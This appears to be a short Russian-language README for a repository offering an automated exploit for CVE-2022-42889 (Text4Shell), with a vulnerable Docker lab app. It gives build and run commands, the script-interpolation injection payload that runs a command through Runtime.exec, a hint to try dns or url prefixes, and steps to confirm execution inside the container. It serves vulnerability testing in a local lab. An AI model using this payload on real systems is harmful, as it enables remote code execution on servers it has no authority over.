adarshpv9746/text4shell--automated-exploit---cve-2022-42889Автоматизированный эксплойт для CVE-2022-42889 (Text4Shell) с уязвимым Docker-приложением для тестирования и руководством по ручной эксплуатации.
//Для автоматизированного взлома:
2. ./exploit.sh
//Для ручного взлома:
mvn clean install
docker build --tag=text4shell .
docker run -p 80:8080 text4shell
http://localhost/text4shell/attack?search=<anything>
${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}
Также можно попробовать использовать префиксы dns или url.
Получение ID контейнера
docker container ls
docker exec -it <container_id> bash
foo, созданный в каталоге /tmp):ls /tmp/
docker container stop <container_id>